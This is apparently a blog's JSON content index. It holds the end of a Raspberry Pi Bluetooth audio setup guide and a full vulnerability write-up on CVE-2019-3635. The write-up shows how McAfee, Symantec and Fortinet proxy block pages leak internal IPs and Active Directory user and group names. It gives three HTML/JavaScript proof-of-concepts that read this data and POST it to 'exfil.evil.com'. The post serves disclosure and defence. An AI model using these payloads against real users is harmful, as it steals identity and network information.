startup.\nCreate /usr/share/wireplumber/wireplumber.conf.d/50-default-volume.conf:\nwireplumber.settings = { device.routes.default-sink-volume = 1 device.routes.default-source-volume = 1 } Create a systemd Service # HCI commands must be issued at every boot to configure SCO/HFP properly.\nCreate /usr/local/bin/bt_init.sh with the following content:\n#!/bin/bash # Initialize SCO/PCM interface hcitool -i hci0 cmd 0x3F 0x001C 0x01 0x02 0x00 0x01 0x01 # Configure PCM data format hcitool -i hci0 cmd 0x3F 0x001E 0x00 0x00 0x00 0x00 0x00 # Configure I2S/PCM interface (clocking and routing) hcitool -i hci0 cmd 0x3F 0x6D 0x00 0x00 0x00 0x00 # Disable sleep / keep SCO audio active hcitool -i hci0 cmd 0x3F 0x0027 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 Create /etc/systemd/system/bt_init.service with the following content:\n[Unit] Description=Initialize Broadcom Bluetooth controller for SCO/HFP After=bluetooth.target Requires=bluetooth.target [Service] Type=oneshot ExecStart=bash /usr/local/bin/bt_init.sh RemainAfterExit=yes [Install] WantedBy=multi-user.target After creating the service, enable and start it with:\nsudo systemctl enable --now bt_init.service Final Result # With the controller properly configured, PipeWire running, and a USB audio interface in place, the result is a compact, inexpensive, and reliable Bluetooth audio receiver for automotive use.\nLinks # https://www.infineon.com/part/CYW4343W https://android.googlesource.com/platform/system/bluetooth/+/7431056712256b077a51c8f85dbd3f44a3ea6a5b/brcm_patchram_plus/brcm_patchram_plus.c https://github.com/bluekitchen/btstack/blob/master/src/hci_cmd.h https://lkml.iu.edu/hypermail/linux/kernel/1806.1/01582.html https://community.infineon.com/gfawx74859/attachments/gfawx74859/WifiBTcombo/955/1/cypress%20vendor%20specific%20commands.pdf https://community.infineon.com/gfawx74859/attachments/gfawx74859/jpwifibtcombo/3247/1/BT_PCM_and_I2S_waveforms.pdf ","date":"10 April 2026","externalUrl":null,"permalink":"/posts/raspberry_bluetooth_audio_routing/","section":"Posts","summary":"","title":"Turning a Raspberry Pi Zero into a Bluetooth Audio Receiver","type":"posts"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/cve-2019-3635/","section":"Tags","summary":"","title":"CVE-2019-3635","type":"tags"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/categories/exfil/","section":"Categories","summary":"","title":"Exfil","type":"categories"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/fortinet/","section":"Tags","summary":"","title":"Fortinet","type":"tags"},{"content":"Security Products are not always secure. In the case of web proxies, there are some aspects to take into consideration when developing this kind of tool.\nI\u0026rsquo;ve been lazy to write about this but here it comes. This write-up comes following a cross-frame scripting vulnerability that I reported to McAfee that resulted in CVE-2019-3635. I\u0026rsquo;ve also reported this vulnerability to two other vendors which got answered by the technical support team. I\u0026rsquo;ve also successfully tested the same procedure with another vendor but, due to the lack of time, it\u0026rsquo;s yet to be reported and therefore still exploitable.\nWhat’s this about? # Several vendors sell solutions to secure the network from unintended content such as downloading malware or visiting dangerous websites.\nEach vendor calls a different name to their product, but it’s basically a proxy that intercepts the HTTP packets, and based on filtering rules it will replace the dangerous content by a WARNING page.\nSo far so good. But what\u0026rsquo;s wrong with that? # Let’s check the McAfee Web Gateway output when opening an EICAR file.\nEICAR is like a smoke test for antiviruses. It\u0026rsquo;s a sequence of non-malicious characters that every antivirus flags as dangerous.\nAt this point, as you can see, there is a lot of sensitive information being displayed on the blocking message (let\u0026rsquo;s call it “blocking message”).\nIt means that every time you try to open a malicious page inside a network, you get the same “protected” webpage rendered by the enterprise proxy, which includes all this detailed information.\nSince I’ve worked on projects involving testing and evaluating phishing campaigns, I thought how cool it would be to have this information as evaluation metrics. Take a few moments to look at all of this beautiful data: Internal IP, Proxy IP, Active Directory User name, Active Directory Groups… Juicy stuff.\nSince I didn’t want to invest much time, the easiest way for me to exfiltrate this information was to use an iframe.\nTherefore I created a POC page containing an iframe pointing to an EICAR page (it has to be on the same domain, which I will explain later).\nNow that the iframe is loaded on the page, let\u0026rsquo;s get its content using JavaScript.\nThe final touch is to automate it. In conclusion, the main page embeds an iframe that will contain the blocking message displaying all the sensitive data; then, the regular page will retrieve the iframe content using JavaScript and exfiltrate it to a server of ours.\nAn example of the extracted information using JavaScript:\nWhat about iframe security? # You may be wondering, but… since the proxy is just replacing the HTTP reply, that “blocking message” is part of the same page that is on the same domain, which means that you can access iframe contents via JavaScript.\nHere’s the POC: # \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script src=\u0026#34;http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;iframe id=\u0026#34;evilframe\u0026#34; style=\u0026#34;display:none\u0026#34; src=\u0026#34;eicar.txt\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;h1\u0026gt;WEB PROXY USER INFO\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;You must be serving eicar.txt with malicious content.\u0026lt;/p\u0026gt; \u0026lt;br\u0026gt; \u0026lt;button onclick=\u0026#34;pwn()\u0026#34;\u0026gt;Read user info\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; function pwn() { var content = document.getElementById(\u0026#34;evilframe\u0026#34;).contentWindow.document.children[0].textContent; var info = content.substring(content.indexOf(\u0026#34;INFORMATION INTENDED TO SUPPORT:\u0026#34;), content.length).split(\u0026#34;\\n\u0026#34;); info.forEach(i =\u0026gt; console.log(i)); document.write(info[1] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[2] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[3] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[4] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[5]); $.ajax({ type:\u0026#39;POST\u0026#39;, url:\u0026#34;http://exfil.evil.com/exfil\u0026#34;, data:info.toString(), success: function(i){ return; } }); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; What about other vendors? Let’s check Bluecoat from Symantec. # Different vendors follow the same implementation ideas, therefore the vulnerability is also present.\nPOC: # The payload is slightly different, but follows the same principles. POC for this case is the following:\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script src=\u0026#34;http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;iframe id=\u0026#34;BigCompany\u0026#34; style=\u0026#34;display:none\u0026#34; src=\u0026#34;eicar.txt\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;h1\u0026gt;SYMANTEC WEB PROXY USER INFO\u0026lt;/h1\u0026gt; \u0026lt;br\u0026gt; \u0026lt;button onclick=\u0026#34;pwn()\u0026#34;\u0026gt;PWN!!\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; function pwn(){ var conteudo = document.getElementById(\u0026#34;BigCompany\u0026#34;).contentWindow.document.children[0].textContent; var info = conteudo.substring(conteudo.indexOf(\u0026#34;BigCompany blocks access to this site due to its categorization or other potential HR, Legal or Security risk(s).\u0026#34;),conteudo.length).split(\u0026#34;\\n\u0026#34;); $.ajax({ type:\u0026#39;POST\u0026#39;, url:\u0026#34;http://exfil.evil.com/exfil\u0026#34;, data:info.toString(), success: function(i){ return; } }); console.log(\u0026#34;PWNED!!\u0026#34;); console.log(info[1]); console.log(info[2]); console.log(info[3]); console.log(info[4]); console.log(info[5]); console.log(\u0026#34;EOP\u0026#34;); document.write(\u0026#34;\u0026lt;html\u0026gt;\u0026#34; + info[1] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[2] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[3] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + info[4] + \u0026#34;\u0026lt;br\u0026gt;\u0026#34; + \u0026#34;\u0026lt;/html\u0026gt;\u0026#34;); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Any more vendors? Let’s see Fortiguard from Fortinet. # In contrast, other vendors may have different solutions. This is the case of Fortiguard:\nWhat’s the difference? # Fortinet does reply with HTTP security headers:\nX-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors Since the Content-Security-Policy: frame-ancestors directive expects a trailing source attribute which is not provided, attempts to embed this page will be blocked. Browser reports:\n# Content Security Policy: The page’s settings blocked the loading of a resource at http://192.168.1.231:8000/pwn.html (“frame-ancestors”).\nHow can it be bypassed? # XMLHttpRequest to the rescue!!\nBy default, XMLHttpRequests are not allowed across domains, unless specified by the target page by using with the Cross-Origin Resource Sharing header.\nHowever, on the same domain, it is allowed. As previously explained, since the blocking message is a response from a request to the same domain, it will be allowed.\nExfil done. # POC: # \u0026lt;html\u0026gt; \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-3.4.1.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;WEB PROXY USER INFO\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;You must be serving eicar.txt with malicious content.\u0026lt;/p\u0026gt; \u0026lt;br\u0026gt; \u0026lt;button onclick=\u0026#34;pwn()\u0026#34;\u0026gt;Read user info\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; function pwn() { $.get( \u0026#34;/eicar.txt\u0026#34;, function( data ) { alert( \u0026#34;Data Loaded: \u0026#34; + data ); }).fail(function(data) { var msg = data.responseText; var content =(msg.split(\u0026#34;\\n\u0026#34;)[1]); var info = content.substring(content.indexOf(\u0026#34;\u0026lt;h1\u0026gt;\u0026#34;),content.length); console.log(info); $.ajax({ type:\u0026#39;POST\u0026#39;, url:\u0026#34;http://exfil.evil.com/exfil\u0026#34;, data:info.toString(), success: function(i){ return; } }); }); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Epiphany: # At this point, I realized that I could have used the XMLHttpRequest on the previous scenarios. I don\u0026rsquo;t know if it\u0026rsquo;s possible, but at least it will be challenging to block XMLHttpRequest on the same domain.\nSecure vendors and possible mitigations: # I\u0026rsquo;ve also tested Checkpoint and it appears to be secure. In contrast with other vendors, Checkpoint\u0026rsquo;s solution doesn\u0026rsquo;t replace the content by the blocking message, it replaces it by using an HTTP redirect, which redirects to another domain with properly secure HTTP headers. At this point, iframes and XMLHttpRequests are not possible anymore.\nOf course, it is always possible to infer that a user is behind some kind of web filtering solution because if we control the content on a domain, we just need to check if that content was loaded and it was the expected content. For example: the main page does a XMLHttpRequest to a file hosted on the same domain containing a EICAR or a malicious file. If the response to the XMLHttpRequest is not the same file that was hosted, then it means that some web filter has replaced the content.\nOn an advanced level, patterns can be used. Not all vendors block the same contents, and that can be used to infer what solution is being used. For example: McAfee does not block the same domains that Symantec blocks, neither Fortinet blocks the same files that Checkpoint blocks.\nThese patterns can be used to infer the solution that is deployed on that network.\nConclusion: # McAfee acknowledged the vulnerability and created an advisory.\nI reported the same vulnerability on FortiGuard and Symantec, but unfortunately they didn’t manage to understand/reproduce using the same steps.\nI\u0026rsquo;ve found the same vulnerability on Zscaler, but didn\u0026rsquo;t manage to have the time to report the issue properly.\nAlthough some vendors can argue that the blocking message is not providing any sensitive information (yet), those messages can be customized and include sensitive information within a network.\nOn top of that, all these vectors will work better if your domains are flagged as malicious. Luckily, my two domains got mixed results, which proved useful for testing this on multiple vendors.\nAre enterprise proxies securing you or exposing you?\n","date":"14 August 2020","externalUrl":null,"permalink":"/posts/web_proxies/","section":"Posts","summary":"","title":"How to exfiltrate internal information using web proxies.","type":"posts"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/mcafee/","section":"Tags","summary":"","title":"McAfee","type":"tags"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/symantec/","section":"Tags","summary":"","title":"Symantec","type":"tags"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/categories/web/","section":"Categories","summary":"","title":"Web","type":"categories"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/web/","section":"Tags","summary":"","title":"Web","type":"tags"},{"content":"","date":"14 August 2020","externalUrl":null,"permalink":"/tags/zscaler/","section":"Tags","summary":"","title":"Zscaler","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]